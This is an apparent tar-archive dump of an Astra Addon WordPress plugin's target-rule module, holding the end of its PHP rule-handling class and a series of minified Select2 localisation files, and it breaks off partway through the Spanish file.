@param string $post_type Post Type. * @param array $option meta option name. */ public function remove_exclusion_rule_posts( $post_type, $option ) { $exclusion = isset( $option['exclusion'] ) ? $option['exclusion'] : ''; $current_post_id = isset( $option['current_post_id'] ) ? $option['current_post_id'] : false; foreach ( self::$current_page_data[ $post_type ] as $c_post_id => $c_data ) { $exclusion_rules = get_post_meta( $c_post_id, $exclusion, true ); $is_exclude = $this->parse_layout_display_condition( $current_post_id, $exclusion_rules ); if ( $is_exclude ) { unset( self::$current_page_data[ $post_type ][ $c_post_id ] ); } } } /** * Remove user rule posts. * * @since 1.0.0 * @param int $post_type Post Type. * @param array $option meta option name. */ public function remove_user_rule_posts( $post_type, $option ) { $users = isset( $option['users'] ) ? $option['users'] : ''; $current_post_id = isset( $option['current_post_id'] ) ? $option['current_post_id'] : false; foreach ( self::$current_page_data[ $post_type ] as $c_post_id => $c_data ) { $user_rules = get_post_meta( $c_post_id, $users, true ); $is_user = $this->parse_user_role_condition( $current_post_id, $user_rules ); if ( ! $is_user ) { unset( self::$current_page_data[ $post_type ][ $c_post_id ] ); } } } /** * Same display_on notice. * * @since 1.0.0 * @param int $post_type Post Type. * @param array $option meta option name. */ public static function same_display_on_notice( $post_type, $option ) { global $wpdb; global $post; $all_rules = array(); $already_set_rule = array(); $location = isset( $option['location'] ) ? $option['location'] : ''; $all_headers = $wpdb->get_results( $wpdb->prepare( "SELECT p.ID, p.post_title, pm.meta_value FROM {$wpdb->postmeta} as pm INNER JOIN {$wpdb->posts} as p ON pm.post_id = p.ID WHERE pm.meta_key = %s AND p.post_type = %s AND p.post_status = 'publish'", $location, $post_type ) ); foreach ( $all_headers as $header ) { $location_rules = maybe_unserialize( $header->meta_value ); if ( is_array( $location_rules ) && isset( $location_rules['rule'] ) ) { foreach ( $location_rules['rule'] as $key => $rule ) { if ( ! isset( $all_rules[ $rule ] ) ) { $all_rules[ $rule ] = array(); } if ( 'specifics' == $rule && isset( $location_rules['specific'] ) && is_array( $location_rules['specific'] ) ) { foreach ( $location_rules['specific'] as $s_index => $s_value ) { $all_rules[ $rule ][ $s_value ][ $header->ID ] = array( 'ID' => $header->ID, 'name' => $header->post_title, ); } } else { $all_rules[ $rule ][ $header->ID ] = array( 'ID' => $header->ID, 'name' => $header->post_title, ); } } } } if ( empty( $post ) ) { return; } $current_post_data = get_post_meta( $post->ID, $location, true ); if ( is_array( $current_post_data ) && isset( $current_post_data['rule'] ) ) { foreach ( $current_post_data['rule'] as $c_key => $c_rule ) { if ( ! isset( $all_rules[ $c_rule ] ) ) { continue; } if ( 'specifics' === $c_rule ) { foreach ( $current_post_data['specific'] as $s_index => $s_id ) { if ( ! isset( $all_rules[ $c_rule ][ $s_id ] ) ) { continue; } foreach ( $all_rules[ $c_rule ][ $s_id ] as $p_id => $data ) { if ( $p_id == $post->ID ) { continue; } $already_set_rule[] = $data['name']; } } } else { foreach ( $all_rules[ $c_rule ] as $p_id => $data ) { if ( $p_id == $post->ID ) { continue; } $already_set_rule[] = $data['name']; } } } } if ( ! empty( $already_set_rule ) ) { add_action( 'admin_notices', function() use ( $already_set_rule ) { $rule_set_titles = '<strong>' . implode( ',', $already_set_rule ) . '</strong>'; /* translators: %s post title. */ $notice = sprintf( __( 'The same display setting is already exist in %s post/s.', 'astra-addon' ), $rule_set_titles ); echo '<div class="notice notice-warning is-dismissible">'; echo '<p>' . wp_kses( $notice, array( 'strong' => true ) ) . '</p>'; echo '</div>'; } ); } } /** * Meta option post. * * @since 1.0.0 * @param string $post_type Post Type. * @param array $option meta option name. * * @return false | object */ public static function get_meta_option_post( $post_type, $option ) { $page_meta = ( isset( $option['page_meta'] ) && '' != $option['page_meta'] ) ? $option['page_meta'] : false; if ( false !== $page_meta ) { $current_post_id = isset( $option['current_post_id'] ) ? $option['current_post_id'] : false; $meta_id = get_post_meta( $current_post_id, $option['page_meta'], true ); if ( false !== $meta_id && '' != $meta_id ) { self::$current_page_data[ $post_type ][ $meta_id ] = array( 'id' => $meta_id, 'location' => '', ); return self::$current_page_data[ $post_type ]; } } return false; } /** * Get post selection. * * @since 1.0.0 * @param string $post_type Post Type. * * @return object Posts. */ public static function get_post_selection( $post_type ) { $query_args = array( 'post_type' => $post_type, 'posts_per_page' => -1, 'post_status' => 'publish', ); $all_headers = get_posts( $query_args ); $headers = array(); if ( ! empty( $all_headers ) ) { $headers = array( '' => __( 'Select', 'astra-addon' ), ); foreach ( $all_headers as $i => $data ) { $headers[ $data->ID ] = $data->post_title; } } return $headers; } /** * Formated rule meta value to save. * * @since 1.0.0 * @param array $save_data PostData. * @param string $key varaible key. * * @return array Rule data. */ public static function get_format_rule_value( $save_data, $key ) { $meta_value = array(); if ( isset( $save_data[ $key ]['rule'] ) ) { $save_data[ $key ]['rule'] = array_unique( $save_data[ $key ]['rule'] ); if ( isset( $save_data[ $key ]['specific'] ) ) { $save_data[ $key ]['specific'] = array_unique( $save_data[ $key ]['specific'] ); } // Unset the specifics from rule. This will be readded conditionally in next condition. $index = array_search( '', $save_data[ $key ]['rule'] ); if ( false !== $index ) { unset( $save_data[ $key ]['rule'][ $index ] ); } $index = array_search( 'specifics', $save_data[ $key ]['rule'] ); if ( false !== $index ) { unset( $save_data[ $key ]['rule'][ $index ] ); // Only re-add the specifics key if there are specific rules added. if ( isset( $save_data[ $key ]['specific'] ) && is_array( $save_data[ $key ]['specific'] ) ) { array_push( $save_data[ $key ]['rule'], 'specifics' ); } } foreach ( $save_data[ $key ] as $meta_key => $value ) { if ( ! empty( $value ) ) { $meta_value[ $meta_key ] = array_map( 'esc_attr', $value ); } } if ( ! isset( $meta_value['rule'] ) || ! in_array( 'specifics', $meta_value['rule'] ) ) { $meta_value['specific'] = array(); } if ( empty( $meta_value['rule'] ) ) { $meta_value = array(); } } return $meta_value; } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Target_Rules_Fields::get_instance(); modules/target-rule/i18n/lv.js 0000666 00000001552 15165730730 0012223 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/lv",[],function(){function e(e,t,n,r){return e===11?t:e%10===1?n:r}return{inputTooLong:function(t){var n=t.input.length-t.maximum,r="Lūdzu ievadiet par "+n;return r+=" simbol"+e(n,"iem","u","iem"),r+" mazāk"},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Lūdzu ievadiet vēl "+n;return r+=" simbol"+e(n,"us","u","us"),r},loadingMore:function(){return"Datu ielāde…"},maximumSelected:function(t){var n="Jūs varat izvēlēties ne vairāk kā "+t.maximum;return n+=" element"+e(t.maximum,"us","u","us"),n},noResults:function(){return"Sakritību nav"},searching:function(){return"Meklēšana…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/sr-Cyrl.js 0000666 00000002055 15165730730 0013134 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sr-Cyrl",[],function(){function e(e,t,n,r){return e%10==1&&e%100!=11?t:e%10>=2&&e%10<=4&&(e%100<12||e%100>14)?n:r}return{errorLoading:function(){return"Преузимање није успело."},inputTooLong:function(t){var n=t.input.length-t.maximum,r="Обришите "+n+" симбол";return r+=e(n,"","а","а"),r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Укуцајте бар још "+n+" симбол";return r+=e(n,"","а","а"),r},loadingMore:function(){return"Преузимање још резултата…"},maximumSelected:function(t){var n="Можете изабрати само "+t.maximum+" ставк";return n+=e(t.maximum,"у","е","и"),n},noResults:function(){return"Ништа није пронађено"},searching:function(){return"Претрага…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/fi.js 0000666 00000001420 15165730730 0012172 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/fi",[],function(){return{errorLoading:function(){return"Tuloksia ei saatu ladattua."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Ole hyvä ja anna "+t+" merkkiä vähemmän"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Ole hyvä ja anna "+t+" merkkiä lisää"},loadingMore:function(){return"Ladataan lisää tuloksia…"},maximumSelected:function(e){return"Voit valita ainoastaan "+e.maximum+" kpl"},noResults:function(){return"Ei tuloksia"},searching:function(){return"Haetaan…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/ro.js 0000666 00000001620 15165730730 0012216 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ro",[],function(){return{errorLoading:function(){return"Rezultatele nu au putut fi incărcate."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vă rugăm să ștergeți"+t+" caracter";return t!==1&&(n+="e"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Vă rugăm să introduceți "+t+" sau mai multe caractere";return n},loadingMore:function(){return"Se încarcă mai multe rezultate…"},maximumSelected:function(e){var t="Aveți voie să selectați cel mult "+e.maximum;return t+=" element",e.maximum!==1&&(t+="e"),t},noResults:function(){return"Nu au fost găsite rezultate"},searching:function(){return"Căutare…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/th.js 0000666 00000002032 15165730730 0012207 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/th",[],function(){return{errorLoading:function(){return"ไม่สามารถค้นข้อมูลได้"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="โปรดลบออก "+t+" ตัวอักษร";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="โปรดพิมพ์เพิ่มอีก "+t+" ตัวอักษร";return n},loadingMore:function(){return"กำลังค้นข้อมูลเพิ่ม…"},maximumSelected:function(e){var t="คุณสามารถเลือกได้ไม่เกิน "+e.maximum+" รายการ";return t},noResults:function(){return"ไม่พบข้อมูล"},searching:function(){return"กำลังค้นข้อมูล…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/hi.js 0000666 00000002147 15165730730 0012203 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hi",[],function(){return{errorLoading:function(){return"परिणामों को लोड नहीं किया जा सका।"},inputTooLong:function(e){var t=e.input.length-e.maximum,n=t+" अक्षर को हटा दें";return t>1&&(n=t+" अक्षरों को हटा दें "),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="कृपया "+t+" या अधिक अक्षर दर्ज करें";return n},loadingMore:function(){return"अधिक परिणाम लोड हो रहे है..."},maximumSelected:function(e){var t="आप केवल "+e.maximum+" आइटम का चयन कर सकते हैं";return t},noResults:function(){return"कोई परिणाम नहीं मिला"},searching:function(){return"खोज रहा है..."}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/eu.js 0000666 00000001516 15165730730 0012213 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/eu",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Idatzi ";return t==1?n+="karaktere bat":n+=t+" karaktere",n+=" gutxiago",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Idatzi ";return t==1?n+="karaktere bat":n+=t+" karaktere",n+=" gehiago",n},loadingMore:function(){return"Emaitza gehiago kargatzen…"},maximumSelected:function(e){return e.maximum===1?"Elementu bakarra hauta dezakezu":e.maximum+" elementu hauta ditzakezu soilik"},noResults:function(){return"Ez da bat datorrenik aurkitu"},searching:function(){return"Bilatzen…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/gl.js 0000666 00000001570 15165730730 0012204 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/gl",[],function(){return{errorLoading:function(){return"Non foi posíbel cargar os resultados."},inputTooLong:function(e){var t=e.input.length-e.maximum;return t===1?"Elimine un carácter":"Elimine "+t+" caracteres"},inputTooShort:function(e){var t=e.minimum-e.input.length;return t===1?"Engada un carácter":"Engada "+t+" caracteres"},loadingMore:function(){return"Cargando máis resultados…"},maximumSelected:function(e){return e.maximum===1?"Só pode seleccionar un elemento":"Só pode seleccionar "+e.maximum+" elementos"},noResults:function(){return"Non se atoparon resultados"},searching:function(){return"Buscando…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/nl.js 0000666 00000001602 15165730730 0012207 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/nl",[],function(){return{errorLoading:function(){return"De resultaten konden niet worden geladen."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Gelieve "+t+" karakters te verwijderen";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Gelieve "+t+" of meer karakters in te voeren";return n},loadingMore:function(){return"Meer resultaten laden…"},maximumSelected:function(e){var t=e.maximum==1?"kan":"kunnen",n="Er "+t+" maar "+e.maximum+" item";return e.maximum!=1&&(n+="s"),n+=" worden geselecteerd",n},noResults:function(){return"Geen resultaten gevonden…"},searching:function(){return"Zoeken…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/pt.js 0000666 00000001535 15165730730 0012226 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/pt",[],function(){return{errorLoading:function(){return"Os resultados não puderam ser carregados."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Por favor apague "+t+" ";return n+=t!=1?"caracteres":"caractere",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Introduza "+t+" ou mais caracteres";return n},loadingMore:function(){return"A carregar mais resultados…"},maximumSelected:function(e){var t="Apenas pode seleccionar "+e.maximum+" ";return t+=e.maximum!=1?"itens":"item",t},noResults:function(){return"Sem resultados"},searching:function(){return"A procurar…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/de.js 0000666 00000001527 15165730730 0012174 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/de",[],function(){return{errorLoading:function(){return"Die Ergebnisse konnten nicht geladen werden."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Bitte "+t+" Zeichen weniger eingeben"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Bitte "+t+" Zeichen mehr eingeben"},loadingMore:function(){return"Lade mehr Ergebnisse…"},maximumSelected:function(e){var t="Sie können nur "+e.maximum+" Eintr";return e.maximum===1?t+="ag":t+="äge",t+=" auswählen",t},noResults:function(){return"Keine Übereinstimmungen gefunden"},searching:function(){return"Suche…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/lt.js 0000666 00000001623 15165730730 0012220 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/lt",[],function(){function e(e,t,n,r){return e%10===1&&(e%100<11||e%100>19)?t:e%10>=2&&e%10<=9&&(e%100<11||e%100>19)?n:r}return{inputTooLong:function(t){var n=t.input.length-t.maximum,r="Pašalinkite "+n+" simbol";return r+=e(n,"į","ius","ių"),r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Įrašykite dar "+n+" simbol";return r+=e(n,"į","ius","ių"),r},loadingMore:function(){return"Kraunama daugiau rezultatų…"},maximumSelected:function(t){var n="Jūs galite pasirinkti tik "+t.maximum+" element";return n+=e(t.maximum,"ą","us","ų"),n},noResults:function(){return"Atitikmenų nerasta"},searching:function(){return"Ieškoma…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/cs.js 0000666 00000002346 15165730730 0012211 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/cs",[],function(){function e(e,t){switch(e){case 2:return t?"dva":"dvě";case 3:return"tři";case 4:return"čtyři"}return""}return{errorLoading:function(){return"Výsledky nemohly být načteny."},inputTooLong:function(t){var n=t.input.length-t.maximum;return n==1?"Prosím, zadejte o jeden znak méně.":n<=4?"Prosím, zadejte o "+e(n,!0)+" znaky méně.":"Prosím, zadejte o "+n+" znaků méně."},inputTooShort:function(t){var n=t.minimum-t.input.length;return n==1?"Prosím, zadejte ještě jeden znak.":n<=4?"Prosím, zadejte ještě další "+e(n,!0)+" znaky.":"Prosím, zadejte ještě dalších "+n+" znaků."},loadingMore:function(){return"Načítají se další výsledky…"},maximumSelected:function(t){var n=t.maximum;return n==1?"Můžete zvolit jen jednu položku.":n<=4?"Můžete zvolit maximálně "+e(n,!1)+" položky.":"Můžete zvolit maximálně "+n+" položek."},noResults:function(){return"Nenalezeny žádné položky."},searching:function(){return"Vyhledávání…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/sk.js 0000666 00000002364 15165730730 0012221 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sk",[],function(){var e={2:function(e){return e?"dva":"dve"},3:function(){return"tri"},4:function(){return"štyri"}};return{errorLoading:function(){return"Výsledky sa nepodarilo načítať."},inputTooLong:function(t){var n=t.input.length-t.maximum;return n==1?"Prosím, zadajte o jeden znak menej":n>=2&&n<=4?"Prosím, zadajte o "+e[n](!0)+" znaky menej":"Prosím, zadajte o "+n+" znakov menej"},inputTooShort:function(t){var n=t.minimum-t.input.length;return n==1?"Prosím, zadajte ešte jeden znak":n<=4?"Prosím, zadajte ešte ďalšie "+e[n](!0)+" znaky":"Prosím, zadajte ešte ďalších "+n+" znakov"},loadingMore:function(){return"Načítanie ďalších výsledkov…"},maximumSelected:function(t){return t.maximum==1?"Môžete zvoliť len jednu položku":t.maximum>=2&&t.maximum<=4?"Môžete zvoliť najviac "+e[t.maximum](!1)+" položky":"Môžete zvoliť najviac "+t.maximum+" položiek"},noResults:function(){return"Nenašli sa žiadne položky"},searching:function(){return"Vyhľadávanie…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/ms.js 0000666 00000001431 15165730730 0012215 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ms",[],function(){return{errorLoading:function(){return"Keputusan tidak berjaya dimuatkan."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Sila hapuskan "+t+" aksara"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Sila masukkan "+t+" atau lebih aksara"},loadingMore:function(){return"Sedang memuatkan keputusan…"},maximumSelected:function(e){return"Anda hanya boleh memilih "+e.maximum+" pilihan"},noResults:function(){return"Tiada padanan yang ditemui"},searching:function(){return"Mencari…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/et.js 0000666 00000001411 15165730730 0012204 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/et",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Sisesta "+t+" täht";return t!=1&&(n+="e"),n+=" vähem",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Sisesta "+t+" täht";return t!=1&&(n+="e"),n+=" rohkem",n},loadingMore:function(){return"Laen tulemusi…"},maximumSelected:function(e){var t="Saad vaid "+e.maximum+" tulemus";return e.maximum==1?t+="e":t+="t",t+=" valida",t},noResults:function(){return"Tulemused puuduvad"},searching:function(){return"Otsin…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/ca.js 0000666 00000001556 15165730730 0012171 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ca",[],function(){return{errorLoading:function(){return"La càrrega ha fallat"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Si us plau, elimina "+t+" car";return t==1?n+="àcter":n+="àcters",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Si us plau, introdueix "+t+" car";return t==1?n+="àcter":n+="àcters",n},loadingMore:function(){return"Carregant més resultats…"},maximumSelected:function(e){var t="Només es pot seleccionar "+e.maximum+" element";return e.maximum!=1&&(t+="s"),t},noResults:function(){return"No s'han trobat resultats"},searching:function(){return"Cercant…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/da.js 0000666 00000001452 15165730730 0012165 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/da",[],function(){return{errorLoading:function(){return"Resultaterne kunne ikke indlæses."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Angiv venligst "+t+" tegn mindre"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Angiv venligst "+t+" tegn mere"},loadingMore:function(){return"Indlæser flere resultater…"},maximumSelected:function(e){var t="Du kan kun vælge "+e.maximum+" emne";return e.maximum!=1&&(t+="r"),t},noResults:function(){return"Ingen resultater fundet"},searching:function(){return"Søger…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/ja.js 0000666 00000001522 15165730730 0012171 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ja",[],function(){return{errorLoading:function(){return"結果が読み込まれませんでした"},inputTooLong:function(e){var t=e.input.length-e.maximum,n=t+" 文字を削除してください";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="少なくとも "+t+" 文字を入力してください";return n},loadingMore:function(){return"読み込み中…"},maximumSelected:function(e){var t=e.maximum+" 件しか選択できません";return t},noResults:function(){return"対象が見つかりません"},searching:function(){return"検索しています…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/bg.js 0000666 00000001614 15165730730 0012171 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/bg",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Моля въведете с "+t+" по-малко символ";return t>1&&(n+="a"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Моля въведете още "+t+" символ";return t>1&&(n+="a"),n},loadingMore:function(){return"Зареждат се още…"},maximumSelected:function(e){var t="Можете да направите до "+e.maximum+" ";return e.maximum>1?t+="избора":t+="избор",t},noResults:function(){return"Няма намерени съвпадения"},searching:function(){return"Търсене…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/hy.js 0000666 00000001757 15165730730 0012231 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hy",[],function(){return{errorLoading:function(){return"Արդյունքները հնարավոր չէ բեռնել։"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Խնդրում ենք հեռացնել "+t+" նշան";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Խնդրում ենք մուտքագրել "+t+" կամ ավել նշաններ";return n},loadingMore:function(){return"Բեռնվում են նոր արդյունքներ․․․"},maximumSelected:function(e){var t="Դուք կարող եք ընտրել առավելագույնը "+e.maximum+" կետ";return t},noResults:function(){return"Արդյունքներ չեն գտնվել"},searching:function(){return"Որոնում․․․"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/uk.js 0000666 00000002137 15165730730 0012221 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/uk",[],function(){function e(e,t,n,r){return e%100>10&&e%100<15?r:e%10===1?t:e%10>1&&e%10<5?n:r}return{errorLoading:function(){return"Неможливо завантажити результати"},inputTooLong:function(t){var n=t.input.length-t.maximum;return"Будь ласка, видаліть "+n+" "+e(t.maximum,"літеру","літери","літер")},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Будь ласка, введіть "+t+" або більше літер"},loadingMore:function(){return"Завантаження інших результатів…"},maximumSelected:function(t){return"Ви можете вибрати лише "+t.maximum+" "+e(t.maximum,"пункт","пункти","пунктів")},noResults:function(){return"Нічого не знайдено"},searching:function(){return"Пошук…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/sl.js 0000666 00000001574 15165730730 0012224 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sl",[],function(){return{errorLoading:function(){return"Zadetkov iskanja ni bilo mogoče naložiti."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Prosim zbrišite "+t+" znak";return t==2?n+="a":t!=1&&(n+="e"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Prosim vpišite še "+t+" znak";return t==2?n+="a":t!=1&&(n+="e"),n},loadingMore:function(){return"Nalagam več zadetkov…"},maximumSelected:function(e){var t="Označite lahko največ "+e.maximum+" predmet";return e.maximum==2?t+="a":e.maximum!=1&&(t+="e"),t},noResults:function(){return"Ni zadetkov."},searching:function(){return"Iščem…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/bs.js 0000666 00000001656 15165730730 0012213 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/bs",[],function(){function e(e,t,n,r){return e%10==1&&e%100!=11?t:e%10>=2&&e%10<=4&&(e%100<12||e%100>14)?n:r}return{errorLoading:function(){return"Preuzimanje nije uspijelo."},inputTooLong:function(t){var n=t.input.length-t.maximum,r="Obrišite "+n+" simbol";return r+=e(n,"","a","a"),r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Ukucajte bar još "+n+" simbol";return r+=e(n,"","a","a"),r},loadingMore:function(){return"Preuzimanje još rezultata…"},maximumSelected:function(t){var n="Možete izabrati samo "+t.maximum+" stavk";return n+=e(t.maximum,"u","e","i"),n},noResults:function(){return"Ništa nije pronađeno"},searching:function(){return"Pretraga…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/zh-TW.js 0000666 00000001306 15165730730 0012550 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/zh-TW",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="請刪掉"+t+"個字元";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="請再輸入"+t+"個字元";return n},loadingMore:function(){return"載入中…"},maximumSelected:function(e){var t="你只能選擇最多"+e.maximum+"項";return t},noResults:function(){return"沒有找到相符的項目"},searching:function(){return"搜尋中…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/es.js 0000666 00000001576 15165730730 0012217 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return 